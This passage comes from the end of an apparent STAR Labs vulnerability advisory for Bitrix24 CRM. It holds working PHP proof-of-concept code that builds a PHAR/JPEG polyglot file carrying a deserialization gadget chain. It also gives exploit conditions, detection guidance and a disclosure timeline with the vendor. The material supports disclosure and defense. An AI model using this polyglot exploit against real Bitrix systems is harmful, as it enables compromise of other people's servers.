$dialog->runtimeData = ["path" => [$argv[1], ""]];

$cloudDebug->head = $dialog;

function generate_base_phar($o){
    global $tempname;
    @unlink($tempname);
    $phar = new \Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed
    $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}

// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('bitrix.jpg');
$outfile = 'test.phar';
$payload = $cloudDebug;

// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload), $jpeg));

CCloudsDebug.php:

<?php

class CCloudsDebug
{

	public $head = '';
	public $id = '';
}

Additionally, the following bitrix.jpg file also needs to be present: bitrix.jpg

Exploit Conditions:

This vulnerability can be exploited when the attacker has access to the CRM feature and permission to edit contacts. This level of access may be granted if the user is in the management board group.

Detection Guidance:

It is possible to detect the exploitation of this vulnerability by scanning the file system to detect the presence of phar files, which contain the string __HALT_COMPILER();. Alternatively, the traffic logs can be examined to check if any of the BITRIX_SM_LAST_SETTINGS cookies sent to the server contain the string phar://.

Credits

Lam Jun Rong & Li Jiantao of STAR Labs SG Pte. Ltd. (@starlabs_sg)

Timeline

  • 2023-03-17 Initial Vendor Contact via https://www.bitrix24.com/report/
  • 2023-03-18 No reply from vendor, tried using the form again
  • 2023-03-21 Email to [email protected]
  • 2023-03-21 Email to [email protected]
  • 2023-03-24 Got reply from [email protected], they asked us to email to [email protected] or use the form at https://www.bitrix24.com/report/ with regards to the bug reports
  • 2023-03-29 Emailed to [redacted], [redacted] & [redacted]. Team member found the 3 email addresses via an [USA bug bounty platform]
  • 2023-03-30 [redacted] replied to us
  • 2023-03-31 [redacted] wanted us to report the bugs via that [USA bug bounty platform]
  • 2023-03-31 Emailed back to [redacted] that we are unable to do so because it’s a private program in that [USA bug bounty platform]
  • 2023-03-31 [redacted] emailed back with the invite
  • 2023-03-31 Submitted the reports via that [USA bug bounty platform]
  • 2023-03-31 Informed [redacted] again that we are unable to report all the bugs due to [blah blah blah Requirements]
  • 2023-04-03 [redacted] replied that they had remove the [blah blah blah Requirements] limitations for us
  • 2023-04-04 We submitted the final 2 reports
  • 2023-06-21 [redacted] emailed us “Generally, we prefer not to publish CVE, because our clients tend to postpone or skip even critical updates, and hackers definitely will be using this information for attacking our clients. It have happened several times in the past, with huge consequences for our company and for our clients. To tell the truth, I would like to set award on [USA bug bounty platform] instead of CVE publishing. Please let me know what do you think about that.”
  • 2023-06-23 Emailed back to Bitrix that we prefer to publish the CVE and do not want the reward. We are also willing to delay the publication at a mutually agreed date.
  • 2023-09-22 [redacted] finally replied asking us if we are agreeable to publish the CVE in November 2023
  • 2023-09-22 Emailed back that we are agreeable to delay the publication to 1st November 2023
  • 2023-09-22 [redacted] accepted the date
  • 2023-11-01 Public Release